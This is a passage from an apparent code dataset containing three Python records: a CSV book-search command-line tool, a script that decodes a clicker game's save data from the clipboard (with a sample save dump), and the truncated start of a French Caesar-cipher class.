= '''\n Example: python3 books.py -y 1890 1900\n Searches for and displays all books published between the **start year** and the **end year** (inclusive). The **start year** must be smaller then the **end year**. \n ''', type = int, nargs = 2 )\n\n \n parser.add_argument('--file', '-f', default='books.csv', help='the file to search for books')\n '''Get the file of to search in, default is books.csv'''\n args = parser.parse_args()\n return args\n\ndef build_books_list(search_file):\n \"\"\"\n Get a list of books from the specify file\n\n Parameters:\n search_file: The file to search in.\n Returns:\n books_list: The list of books\n \"\"\"\n\n with open(search_file, newline = '') as csvfile:\n reader = csv.reader(csvfile, delimiter= ',')\n books_list = []\n for row in reader:\n book = {}\n book[\"title\"] = row[0]\n\n authors_with_years = row[2].split(\" (\")\n book[\"author\"] = [authors_with_years[0]]\n if len(authors_with_years) > 2:\n '''There are some books that have 2 authors'''\n second_author = authors_with_years[1].split(' and ')[1]\n book[\"author\"].append(second_author)\n\n book[\"published_year\"] = int(row[1])\n\n books_list.append(book)\n return books_list\n\n \ndef get_books_matching_title(search_str, books_list):\n \"\"\"\n Get a dictionary of books and their authors based on search string\n\n Parameters:\n search_str: String to search for(case-sensitive).\n books_list: The list of book to search in\n Returns:\n books_with_authors: A dictionary of books with their authors.\n \"\"\"\n print(\"You search for books with \" + search_str + \" in their titles\")\n\n books_with_authors = {}\n for book in books_list:\n '''Check if the book's title has search string'''\n if search_str in book[\"title\"]:\n books_with_authors[book[\"title\"]] = book[\"author\"]\n return books_with_authors\n\n\n\ndef print_books_matching_title(books_with_authors):\n \"\"\"\n Formatted the print result of the title query\n\n Parameters:\n books_with_authors: A dictionary of books with their authors\n \"\"\"\n if len(books_with_authors) == 0:\n print(\"Sorry, there are no matches. Please check the spelling, capitalization, and spacing. Type --help for more information.\", file=sys.stderr)\n for title in books_with_authors:\n print(title + \" by \" + ' and '.join(map(str, books_with_authors[title])))\n\n\ndef get_author_with_books(search_str, books_list):\n \"\"\"\n Get a dictionary of books and their authors based on search string\n\n Parameters:\n search_str: String to search for(case-sensitive).\n books_list: The list of book to search in\n Returns:\n authors_with_books: A dictionary of authors with their books.\n \"\"\"\n print(\"You search for authors with \" + search_str + \" in their names\")\n\n authors_with_books = {}\n for book in books_list:\n for name in book[\"author\"]:\n '''Check if the author's name has search string'''\n if search_str in name:\n if name not in authors_with_books:\n authors_with_books[name] = [book[\"title\"]]\n else:\n authors_with_books[name].append(book[\"title\"])\n return authors_with_books\n\n\ndef print_author_with_books(authors_with_books):\n \"\"\"\n Formatted the print result of the author query\n\n Parameters:\n authors_with_books: A dictionary of authors with their books.\n \"\"\"\n if len(authors_with_books) == 0:\n print(\"Sorry, there are no matches. Please check the spelling, capitalization, and spacing. Type --help for more information.\", file=sys.stderr)\n for name in authors_with_books:\n print(name + \" has written:\")\n for book in authors_with_books[name]:\n print(\" \" + book)\n\n\ndef get_books_by_years(start_year, end_year, books_list):\n \"\"\"\n Get a dictionary of books and their published based on a range of year\n\n Parameters:\n start_year: The lower bound of the search range.\n end_year: The upper bound of the search range.\n books_list: The list of books to search in\n Returns:\n books_with_years: A dictionary of books with their publised year.\n \"\"\"\n print(\"You search for books published from \" + str(start_year) + \" to \" + str(end_year))\n\n books_with_years = {}\n for book in books_list:\n if book[\"published_year\"] >= int(start_year) and book[\"published_year\"] <= int(end_year):\n books_with_years[book[\"title\"]] = book[\"published_year\"]\n return books_with_years\n\n\ndef print_books_by_years(books_with_years):\n \"\"\"\n Formatted the print result of the published year query\n\n Parameters:\n books_with_years: A dictionary of books with their publised year.\n \"\"\"\n\n if len(books_with_years) == 0:\n print(\"Sorry, there are no matches. Please check the spelling, capitalization, and spacing. Type --help for more information.\", file=sys.stderr)\n for book in books_with_years:\n print(book, books_with_years[book])\n\ndef get_input_for_multi_search():\n \"\"\"\n Get the input of the user to perform multisearch\n\n Return:\n user_input: a dictionary of type of user input\n \"\"\"\n user_input = {\"title\":\"\",\"author\":\"\",\"start_year\":float('-inf'), \"end_year\":float('inf')}\n\n title = input(\"What is the title of the book? \\n\")\n if title == \"_exit\":\n sys.exit()\n else:\n user_input[\"title\"] = title\n\n author = input(\"What is the author of the book?\\n\")\n if author == \"_exit\":\n sys.exit()\n else:\n user_input[\"author\"] = author\n\n try:\n start_year = input(\"Type in the lower bound of the published year.\\n\")\n if start_year == \"_exit\":\n sys.exit()\n elif start_year == '':\n pass\n else:\n user_input[\"start_year\"] = int(start_year)\n except ValueError:\n '''Return error if the input is not integer'''\n print(\"Wrong input type. This section will be passed\", file=sys.stderr) \n\n try:\n end_year = input(\"Type in the upper bound of the published year.\\n\")\n if end_year == \"_exit\":\n sys.exit()\n elif end_year == '':\n pass\n else:\n user_input[\"end_year\"] = int(end_year)\n\n except ValueError:\n '''Return error if the input is not integer'''\n print(\"Wrong input type. This section will be passed\", file=sys.stderr)\n return user_input\n\ndef get_books_by_multi_search(user_input, books_list):\n \"\"\"\n Get a list of books based on multiple characteristic\n\n Parameters:\n user_input: A dictionary based on what the user type input\n books_list: The list of book to search from\n Return:\n books_list_multisearch: The list of book after performing multisearch\n \"\"\"\n books_list_multisearch = []\n for book in books_list:\n if (user_input[\"title\"] in book[\"title\"] and\n any(user_input[\"author\"] in name for name in book[\"author\"]) and\n user_input[\"start_year\"] <= book[\"published_year\"] and\n user_input[\"end_year\"] >= book[\"published_year\"]):\n books_list_multisearch.append(book)\n if len(books_list_multisearch) == len(books_list):\n books_list_multisearch = None\n return books_list_multisearch \n\n\ndef print_books_by_multi_search(books_list_multisearch):\n \"\"\"\n Formatted the print result of the multisearch query\n \n Parameters:\n books_list: The list of books to print out\n \"\"\"\n\n if books_list_multisearch == None:\n print(\"You skip through all the section\", file=sys.stderr)\n elif len(books_list_multisearch) == 0:\n print(\"Sorry, there are no matches. Please check the spelling, capitalization, and spacing. Type --help for more information.\", file=sys.stderr)\n for book in books_list_multisearch:\n print(book[\"title\"] + \" published in \" + str(book[\"published_year\"]) + \" by \" + ' and '.join(map(str, book[\"author\"])))\n\ndef main():\n parsed_args = get_parsed_args()\n books_list = build_books_list(parsed_args.file)\n\n if (parsed_args.title != None):\n books_with_authors = get_books_matching_title(parsed_args.title[0], books_list)\n print_books_matching_title(books_with_authors)\n\n elif (parsed_args.author != None):\n authors_with_books = get_author_with_books(parsed_args.author[0], books_list)\n print_author_with_books(authors_with_books)\n\n elif (parsed_args.year != None):\n if (parsed_args.year[0] > parsed_args.year[1]):\n print(\"The range of year you enter is not valid\", file=sys.stderr)\n else:\n books_with_years = get_books_by_years(parsed_args.year[0], parsed_args.year[1],books_list)\n print_books_by_years(books_with_years)\n elif (parsed_args.multi_search == True):\n user_input = get_input_for_multi_search()\n books_list = get_books_by_multi_search(user_input, books_list)\n print_books_by_multi_search(books_list)\n else:\n print(\"You do not specify any arguments. Type --help for more information.\", file=sys.stderr)\nif __name__ == '__main__':\n\tmain()","sub_path":"CS_257/books/books.py","file_name":"books.py","file_ext":"py","file_size_in_byte":10409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"125975116","text":"import base64\nimport json\nimport pyperclip\nimport logging\n\nlogger = logging.getLogger('herobot.savereader')\n\n\nclass SaveReader():\n\n def __init__(self):\n self.savegame = extract_save_from_clipboard()\n self.hero_collection = get_hero_collection(self.savegame)\n self.last_available_hero_id = get_last_available_hero_id(self.savegame)\n\n\ndef extract_save_from_clipboard() -> dict:\n raw = pyperclip.paste()\n save = raw.split(\"Fe12NAfA3R6z4k0z\")[0]\n save_json_base64 = ''.join([char for char in save[::2]])\n save_json = base64.b64decode(save_json_base64).decode('UTF-8')\n # print(json.dumps(json.loads(save_json), sort_keys=True, indent=4))\n return json.loads(save_json)\n\n\ndef get_last_available_hero_id(savegame: dict) -> int:\n heroes = get_hero_collection(savegame)\n heroes_available = {k: v for k, v in heroes.items() if v['locked'] is False}\n return int(max(heroes_available.keys(), key=int))\n\n\ndef get_hero_collection(savegame: dict) -> dict:\n hc = savegame.get('heroCollection')\n if not hc:\n logger.error('heroCollection not found')\n return {'heroes': {}}\n return hc.get('heroes')\n\n# print(savegame['rubies'])\n\n\n\"\"\"\nUsefull info :\n heroSouls\n currentZoneHeight\n gold\n autoclickers\n heroCollection {}\n highestFinishedZone\n readPatchNumber\n skillCooldowns {}\n\n{\n \"abaddonMultiplier\": 1,\n \"account\": null,\n \"accountId\": 0,\n \"achievements\": {\n \"1\": true,\n \"10\": true,\n \"11\": true,\n \"12\": true,\n \"13\": true,\n \"14\": true,\n \"15\": true,\n \"17\": true,\n \"18\": true,\n \"19\": true,\n \"2\": true,\n \"21\": true,\n \"25\": true,\n \"26\": true,\n \"27\": true,\n \"29\": true,\n \"3\": true,\n \"30\": true,\n \"31\": true,\n \"33\": true,\n \"34\": true,\n \"35\": true,\n \"36\": true,\n \"37\": true,\n \"38\": true,\n \"39\": true,\n \"4\": true,\n \"40\": true,\n \"41\": true,\n \"42\": true,\n \"47\": true,\n \"5\": true,\n \"50\": true,\n \"6\": true,\n \"61\": true,\n \"7\": true,\n \"8\": true,\n \"9\": true\n },\n \"actionBar\": {},\n \"activityCount\": 262632,\n \"activityRoller\": null,\n \"adCampaign\": null,\n \"adRetargetId\": null,\n \"adRetargetTime\": 0,\n \"allDpsMultiplier\": 11.232423798750004,\n \"ancientEntrySizes\": {},\n \"ancientSouls\": 0,\n \"ancientSoulsTotal\": 0,\n \"ancients\": {\n \"_currentUids\": null,\n \"ancients\": {\n \"29\": {\n \"id\": 29,\n \"level\": \"1\",\n \"locked\": true,\n \"purchaseTime\": 1487019748361,\n \"spentHeroSouls\": \"1\",\n \"uid\": 29\n }\n },\n \"ancientsRoller\": {\n \"numUses\": 3,\n \"seed\": 1216404991\n },\n \"artificiallyRaisedAncients\": {},\n \"numPurchased\": 0,\n \"numRerolls\": 0,\n \"rerollSoulsSpent\": \"0\"\n },\n \"appliedDLC\": {},\n \"autoclickerSkins\": {\n \"1\": true\n },\n \"autoclickers\": 0,\n \"baseClickDamage\": 5,\n \"baseCriticalClickChance\": 9,\n \"buyExactQuantity\": false,\n \"candyCanes\": 0,\n \"candyCanesEarned\": 0,\n \"clickDpsPercent\": 3,\n \"clickMultiplier\": 210,\n \"clickmasRoller\": {\n \"numUses\": 0,\n \"seed\": 601390215\n },\n \"clickmasRubiesEarned\": 0,\n \"collectedAchievements\": {},\n \"collectedRaidRewardDates\": {},\n \"creationTimestamp\": 1484512256256,\n \"criticalMultiplier\": 18,\n \"currentActivityOrderNumber\": 0,\n \"currentAutoclickerSkin\": 1,\n \"currentZoneHeight\": 129,\n \"damageFloatersDisabled\": true,\n \"darkRitualClicks\": 4,\n \"debug\": false,\n \"devGifts\": {},\n \"didClickOnAncientsTab\": true,\n \"didClickOnMercenaryTab\": false,\n \"didClickOnShopTab\": false,\n \"didClickOnTranscendenceTab\": false,\n \"dlcAutoclickers\": 0,\n \"dpsSacrificedInWorldResets\": 0,\n \"email\": \"\",\n \"epicHeroReceivedUpTo\": 120,\n \"epicHeroSeed\": 609258674.015625,\n \"epicRoller\": {\n \"numUses\": 0,\n \"seed\": 601056882\n },\n \"extraGildsAwarded\": 0,\n \"finishedPrimals\": {\n \"100\": true,\n \"110\": true,\n \"115\": true,\n \"120\": true\n },\n \"forgeCoals\": 0,\n \"freeRespecs\": 0,\n \"gold\": \"1.392234086999386e27\",\n \"goldFloatersDisabled\": true,\n \"goldMultiplier\": 2.9296875,\n \"goldQuestsCompleted\": 0,\n \"goldSacrificedInWorldResets\": 0,\n \"hasJoinedGuild\": false,\n \"hasSeenNewShopItems\": true,\n \"hasSeenZone100Tip\": null,\n \"heroCollection\": {\n \"_currentUids\": {\n \"heroes\": 46\n },\n \"heroes\": {\n \"1\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 1,\n \"level\": 705,\n \"locked\": false,\n \"uid\": 1\n },\n \"10\": {\n \"damageMultiplier\": \"8.4934656e7\",\n \"epicLevel\": 0,\n \"id\": 10,\n \"level\": 495,\n \"locked\": false,\n \"uid\": 10\n },\n \"11\": {\n \"damageMultiplier\": \"5.24288e6\",\n \"epicLevel\": 0,\n \"id\": 11,\n \"level\": 421,\n \"locked\": false,\n \"uid\": 11\n },\n \"12\": {\n \"damageMultiplier\": \"3.2768e5\",\n \"epicLevel\": 0,\n \"id\": 12,\n \"level\": 370,\n \"locked\": false,\n \"uid\": 12\n },\n \"13\": {\n \"damageMultiplier\": \"1.31072e6\",\n \"epicLevel\": 0,\n \"id\": 13,\n \"level\": 397,\n \"locked\": false,\n \"uid\": 13\n },\n \"14\": {\n \"damageMultiplier\": \"10240\",\n \"epicLevel\": 1,\n \"id\": 14,\n \"level\": 315,\n \"locked\": false,\n \"uid\": 14\n },\n \"15\": {\n \"damageMultiplier\": \"20480\",\n \"epicLevel\": 0,\n \"id\": 15,\n \"level\": 302,\n \"locked\": false,\n \"uid\": 15\n },\n \"16\": {\n \"damageMultiplier\": \"256\",\n \"epicLevel\": 0,\n \"id\": 16,\n \"level\": 275,\n \"locked\": false,\n \"uid\": 16\n },\n \"17\": {\n \"damageMultiplier\": \"1280\",\n \"epicLevel\": 0,\n \"id\": 17,\n \"level\": 258,\n \"locked\": false,\n \"uid\": 17\n },\n \"18\": {\n \"damageMultiplier\": \"45.5625\",\n \"epicLevel\": 0,\n \"id\": 18,\n \"level\": 200,\n \"locked\": false,\n \"uid\": 18\n },\n \"19\": {\n \"damageMultiplier\": \"80\",\n \"epicLevel\": 0,\n \"id\": 19,\n \"level\": 221,\n \"locked\": false,\n \"uid\": 19\n },\n \"2\": {\n \"damageMultiplier\": \"2.1990232555520004e13\",\n \"epicLevel\": 0,\n \"id\": 2,\n \"level\": 699,\n \"locked\": false,\n \"uid\": 2\n },\n \"20\": {\n \"damageMultiplier\": \"2\",\n \"epicLevel\": 0,\n \"id\": 20,\n \"level\": 145,\n \"locked\": false,\n \"uid\": 20\n },\n \"21\": {\n \"damageMultiplier\": \"8\",\n \"epicLevel\": 0,\n \"id\": 21,\n \"level\": 107,\n \"locked\": false,\n \"uid\": 21\n },\n \"22\": {\n \"damageMultiplier\": \"16\",\n \"epicLevel\": 0,\n \"id\": 22,\n \"level\": 100,\n \"locked\": false,\n \"uid\": 22\n },\n \"23\": {\n \"damageMultiplier\": \"8\",\n \"epicLevel\": 0,\n \"id\": 23,\n \"level\": 100,\n \"locked\": false,\n \"uid\": 23\n },\n \"24\": {\n \"damageMultiplier\": \"4\",\n \"epicLevel\": 1,\n \"id\": 24,\n \"level\": 63,\n \"locked\": false,\n \"uid\": 24\n },\n \"25\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 25,\n \"level\": 14,\n \"locked\": false,\n \"uid\": 25\n },\n \"26\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 1,\n \"id\": 26,\n \"level\": 2,\n \"locked\": false,\n \"uid\": 26\n },\n \"27\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 27,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 27\n },\n \"28\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 28,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 28\n },\n \"29\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 29,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 29\n },\n \"3\": {\n \"damageMultiplier\": \"1.37438953472e12\",\n \"epicLevel\": 0,\n \"id\": 3,\n \"level\": 649,\n \"locked\": false,\n \"uid\": 3\n },\n \"30\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 30,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 30\n },\n \"31\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 31,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 31\n },\n \"32\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 32,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 32\n },\n \"33\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 33,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 33\n },\n \"34\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 34,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 34\n },\n \"35\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 35,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 35\n },\n \"36\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 36,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 36\n },\n \"37\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 37,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 37\n },\n \"38\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 38,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 38\n },\n \"39\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 39,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 39\n },\n \"4\": {\n \"damageMultiplier\": \"3.435973836800001e11\",\n \"epicLevel\": 0,\n \"id\": 4,\n \"level\": 607,\n \"locked\": false,\n \"uid\": 4\n },\n \"40\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 40,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 40\n },\n \"41\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 41,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 41\n },\n \"42\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 42,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 42\n },\n \"43\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 43,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 43\n },\n \"44\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 44,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 44\n },\n \"45\": {\n \"damageMultiplier\": \"1\",\n \"epicLevel\": 0,\n \"id\": 45,\n \"level\": 0,\n \"locked\": true,\n \"uid\": 45\n },\n \"5\": {\n \"damageMultiplier\": \"5.497558138880001e11\",\n \"epicLevel\": 0,\n \"id\": 5,\n \"level\": 627,\n \"locked\": false,\n \"uid\": 5\n },\n \"6\": {\n \"damageMultiplier\": \"4.294967296000001e9\",\n \"epicLevel\": 0,\n \"id\": 6,\n \"level\": 588,\n \"locked\": false,\n \"uid\": 6\n },\n \"7\": {\n \"damageMultiplier\": \"8.589934592e10\",\n \"epicLevel\": 0,\n \"id\": 7,\n \"level\": 595,\n \"locked\": false,\n \"uid\": 7\n },\n \"8\": {\n \"damageMultiplier\": \"1.3421772800000005e8\",\n \"epicLevel\": 0,\n \"id\": 8,\n \"level\": 496,\n \"locked\": false,\n \"uid\": 8\n },\n \"9\": {\n \"damageMultiplier\": \"1.3421772800000005e9\",\n \"epicLevel\": 0,\n \"id\": 9,\n \"level\": 512,\n \"locked\": false,\n \"uid\": 9\n }\n },\n \"maxSize\": 256\n },\n \"heroEntrySizes\": {},\n \"heroSoulQuestsCompleted\": 0,\n \"heroSouls\": \"0\",\n \"heroSoulsSacrificed\": \"0\",\n \"hideRelicPopups\": true,\n \"highestFinishedZone\": 129,\n \"highestFinishedZonePersist\": 129,\n \"highestGold\": \"4.238354773374177e27\",\n \"highestHistoricAncients\": 1,\n \"highestMercenaryLevelEver\": 0,\n \"historicRubies\": 26,\n \"isBanned\": false,\n \"isCheater\": false,\n \"isTestUser\": false,\n \"items\": {\n \"_currentUids\": null,\n \"ascensionItemsRoller\": {\n \"numUses\": 0,\n \"seed\": 601056882\n },\n \"bonusZoneRoller\": {\n \"numUses\": 0,\n \"seed\": 601056882\n },\n \"equipmentSlots\": 4,\n \"gotAscensionItem\": false,\n \"guildItemsRoller\": {\n \"numUses\": 0,\n \"seed\": 601056882\n },\n \"items\": {},\n \"salvagePoints\": 0,\n \"slots\": {}\n },\n \"kongId\": \"\",\n \"language\": null,\n \"lastAdBonusTimestamp\": 0,\n \"lastGuildRankUpdatedTime\": 0,\n \"lastLoadTime\": 0,\n \"lastMiniGameStartTime\": 0,\n \"lastPageLoadTime\": 0,\n \"lastPrimalLevelChecked\": 130,\n \"lastPrimalLevelResult\": true,\n \"lastRaidTimestamp\": 0,\n \"lastSkillUsed\": 1,\n \"latestBuildLoaded\": 107,\n \"leeroyJenkinsBuried\": 0,\n \"lifetimeDarkRitualClicks\": 4,\n \"loginValidated\": false,\n \"maxDps\": \"2.553205996960652e24\",\n \"mercenaries\": {\n \"_currentUids\": null,\n \"hasGivenOneFreeRecruit\": false,\n \"mercRoller\": {\n \"numUses\": 0,\n \"seed\": 601167993\n },\n \"mercenaries\": {},\n \"questOptions\": {},\n \"questRoller\": {\n \"numUses\": 0,\n \"seed\": 601279104\n },\n \"startRecruitTime\": 0\n },\n \"mercenaryCount\": 0,\n \"mostClicksPerSecond\": 58,\n \"mostCritsPerSecond\": 34,\n \"musicEnabled\": false,\n \"numAscensionsThisTranscension\": 0,\n \"numPageLoads\": 0,\n \"numRaidsToday\": 0,\n \"numWorldResets\": 0,\n \"numberDisplayMode\": false,\n \"numberOfTranscensions\": 0,\n \"openedClickmasPresents\": 0,\n \"outsiderEntrySizes\": {},\n \"outsiders\": {\n \"_currentUids\": null,\n \"outsiders\": {\n \"1\": {\n \"id\": 1,\n \"level\": 0,\n \"spentAncientSouls\": 0,\n \"uid\": 1\n },\n \"2\": {\n \"id\": 2,\n \"level\": 0,\n \"spentAncientSouls\": 0,\n \"uid\": 2\n },\n \"3\": {\n \"id\": 3,\n \"level\": 0,\n \"spentAncientSouls\": 0,\n \"uid\": 3\n },\n \"4\": {\n \"id\": 4,\n \"level\": 0,\n \"spentAncientSouls\": 0,\n \"uid\": 4\n },\n \"5\": {\n \"id\": 5,\n \"level\": 0,\n \"spentAncientSouls\": 0,\n \"uid\": 5\n }\n }\n },\n \"paidForRubyMultiplier\": false,\n \"passwordHash\": \"06n58MaEqXmOSp6K\",\n \"persistentVars\": {\n \"allVisualEffects\": true,\n \"bloopCoinRequestDonationTimestamp\": 0,\n \"bloopCoins\": 0,\n \"bossDefeatHelpTimestamp\": 0,\n \"christmasSaleBuys\": 0,\n \"cooldownNotificationsEnabled\": true,\n \"didOpenAncientScreen\": false,\n \"didOpenOnlineSave\": true,\n \"didOpenShop\": false,\n \"didPurchaseSkill\": true,\n \"didShowTranscendenceNews\": false,\n \"didUseSkill\": true,\n \"fullScreen\": false,\n \"goldNotificationsEnabled\": true,\n \"halloweenSaleBuys\": 0,\n \"karma\": 0,\n \"mercenaryNotificationsEnabled\": true,\n \"nextRatePromptTime\": 0,\n \"preloadAds\": true,\n \"previousEventAdsTimestamp\": 0,\n \"previousMainScreenAdsTimestamp\": 0,\n \"previousPermaAdsTimestamp\": 0,\n \"pwbClosest\": 0,\n \"pwbHelp\": false,\n \"pwbPlayed\": 0,\n \"pwbWon\": 0,\n \"showBossDefeatHelp\": true,\n \"showGildedHeroHelp\": true,\n \"showItemHelp\": true,\n \"showLevel100Help\": true,\n \"showPrimalBossHelp\": true\n },\n \"personalSales\": {\n \"_largestPurchaseBundleId\": 0,\n \"_numHistoricSales\": 0,\n \"_saleEndTimestamp\": 1484512255,\n \"flashSalesEnabled\": false,\n \"seasonalSalesEnabled\": true\n },\n \"pretranscendentHighestFinishedZone\": 129,\n \"prevLoginTimestamp\": 1487282526790,\n \"primalNumberGenerator\": {\n \"numUses\": 3,\n \"seed\": 339909894\n },\n \"primalSouls\": \"4\",\n \"privateAdminMessages\": {},\n \"purchaseHashes\": {},\n \"purchaseRecord\": {},\n \"purchasedGilds\": 0,\n \"purchasedTitanFightExpTime\": 0,\n \"rarestMercenaryEver\": 1,\n \"readPatchNumber\": \"1.0e8\",\n \"relicQuestsCompleted\": 0,\n \"relicsReceivedThisTranscension\": 0,\n \"remoteQueue\": null,\n \"respondedToEmailSequelPrompt\": false,\n \"respondedToSurvey\": false,\n \"revision\": 0,\n \"rubies\": 26,\n \"rubyClickablesThisAscension\": 25,\n \"rubyQuestsCompleted\": 0,\n \"secondToLastSkillUsed\": 2,\n \"settings\": null,\n \"shouldAutoSetHeroDpsDisplay\": false,\n \"shouldShowHeroDps\": true,\n \"skillClickMultiplier\": 2,\n \"skillClickMultiplierEnd\": 1487282265889,\n \"skillCooldowns\": {\n \"1\": 1487282238186,\n \"2\": 1487282237788,\n \"3\": 1487282237480,\n \"4\": 1487282237063,\n \"5\": 1487281600210,\n \"6\": 1487282236634,\n \"7\": 1487282235889,\n \"8\": 1487281601021\n },\n \"skillCriticalClickChance\": 50,\n \"skillCriticalClickChanceEnd\": 1487282267480,\n \"skillDouble\": false,\n \"skillDpsMultiplier\": 1,\n \"skillDpsMultiplierEnd\": 1487282267788,\n \"skillFreeClicks\": 10,\n \"skillFreeClicksEnd\": 1487282268186,\n \"skillGoldBonus\": 1,\n \"skillGoldBonusEnd\": 1487282267063,\n \"skillQuestsCompleted\": 0,\n \"skillWildGold\": 1,\n \"skillWildGoldEnd\": 1487282266634,\n \"soulsSpent\": \"0\",\n \"soundsEnabled\": false,\n \"stageQuality\": false,\n \"startTimestamp\": 1484512256255,\n \"syncedGameServices\": false,\n \"ticketsUsed\": \"\",\n \"timelapses\": 0,\n \"tinyMonsters\": true,\n \"titanDamage\": \"4\",\n \"titanTypesDefeated\": {},\n \"total5MinuteQuests\": 0,\n \"totalBossKills\": 29,\n \"totalClicks\": 237184,\n \"totalCreditsPurchased\": 0,\n \"totalCrits\": 16319,\n \"totalGold\": \"5.898037299111212e27\",\n \"totalGoldThisGame\": \"5.898037299111212e27\",\n \"totalHeroLevels\": 9263,\n \"totalHeroSouls\": \"0\",\n \"totalHeroSoulsFromAscensions\": \"0\",\n \"totalKills\": 87418.1618472896,\n \"totalMercenariesBuried\": 0,\n \"totalMercenariesRevived\": 0,\n \"totalMoneySpent\": 0,\n \"totalPrimalsKilled\": 4,\n \"totalRelicsReceived\": 0,\n \"totalUpgrades\": 112,\n \"transcendent\": false,\n \"transcendentHighestFinishedZone\": 0,\n \"transcensionTimestamp\": 0,\n \"transparentAutoclickerMode\": false,\n \"treasureChestsKilled\": 95,\n \"tutorialArrow\": 2,\n \"uid\": null,\n \"uniqueId\": \"14845122619540003126564435660839\",\n \"unixTimestamp\": 1487282526671,\n \"unopenedClickmasPresents\": 0,\n \"upgrades\": {\n \"10\": true,\n \"100\": true,\n \"101\": true,\n \"102\": true,\n \"103\": true,\n \"104\": true,\n \"105\": true,\n \"106\": false,\n \"108\": true,\n \"109\": true,\n \"11\": true,\n \"110\": true,\n \"112\": true,\n \"113\": true,\n \"114\": true,\n \"116\": true,\n \"117\": true,\n \"119\": true,\n \"12\": true,\n \"120\": true,\n \"13\": true,\n \"132\": false,\n \"14\": true,\n \"15\": true,\n \"16\": true,\n \"17\": true,\n \"18\": true,\n \"19\": true,\n \"2\": true,\n \"20\": true,\n \"21\": true,\n \"22\": true,\n \"23\": true,\n \"24\": true,\n \"25\": true,\n \"26\": true,\n \"27\": true,\n \"28\": true,\n \"29\": true,\n \"3\": true,\n \"30\": true,\n \"31\": true,\n \"32\": true,\n \"33\": true,\n \"34\": true,\n \"35\": true,\n \"36\": true,\n \"37\": true,\n \"38\": true,\n \"39\": true,\n \"4\": true,\n \"40\": true,\n \"41\": true,\n \"42\": true,\n \"43\": true,\n \"44\": true,\n \"45\": true,\n \"46\": true,\n \"47\": true,\n \"48\": true,\n \"49\": true,\n \"5\": true,\n \"50\": true,\n \"51\": true,\n \"52\": true,\n \"53\": true,\n \"54\": true,\n \"55\": true,\n \"56\": true,\n \"57\": true,\n \"58\": true,\n \"59\": true,\n \"6\": true,\n \"60\": true,\n \"61\": true,\n \"62\": true,\n \"63\": true,\n \"64\": true,\n \"65\": true,\n \"66\": true,\n \"67\": true,\n \"68\": true,\n \"69\": true,\n \"7\": true,\n \"70\": true,\n \"71\": true,\n \"72\": true,\n \"73\": true,\n \"74\": true,\n \"75\": true,\n \"76\": true,\n \"77\": true,\n \"78\": true,\n \"79\": true,\n \"8\": true,\n \"80\": true,\n \"81\": true,\n \"82\": true,\n \"83\": true,\n \"84\": true,\n \"85\": true,\n \"86\": true,\n \"87\": true,\n \"88\": true,\n \"89\": true,\n \"9\": true,\n \"90\": true,\n \"91\": true,\n \"92\": true,\n \"93\": true,\n \"94\": true,\n \"96\": true,\n \"97\": true,\n \"98\": true\n },\n \"usedSkills\": {\n \"1\": true,\n \"2\": true,\n \"3\": true,\n \"4\": true,\n \"5\": true,\n \"6\": true,\n \"7\": true,\n \"8\": true\n },\n \"version\": 7,\n \"worldGoldBonus\": 0\n}\n\n\"\"\"","sub_path":"savereader.py","file_name":"savereader.py","file_ext":"py","file_size_in_byte":24444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"218428104","text":"# coding: utf-8\n\n# Classe Caesar : Classe pour l'utilisation du chiffrement par décalage (Aussi appelé Chiffre de César) \nclass Cesar:\n\n \"\"\"\n chaine : Chaîne de caractères\n decalage : Nombre de décalages à effectuer par rapport à la table de référence\n repetition : Nombre de répétitions\n\n \"\"\"\n\n #Fonction alphabet : Utilise le chiffrement par décalage en se limitant à l'alphabet\n def alphabet(self, chaine, decalage, repetition):\n\n for index in range(repetition):\n\n temp = []\n\n for ror in chaine:\n \n #Minuscule\n if ror.islower():\n temp.append(chr((ord(ror)+(decalage+index)-97)%26+97))\n\n 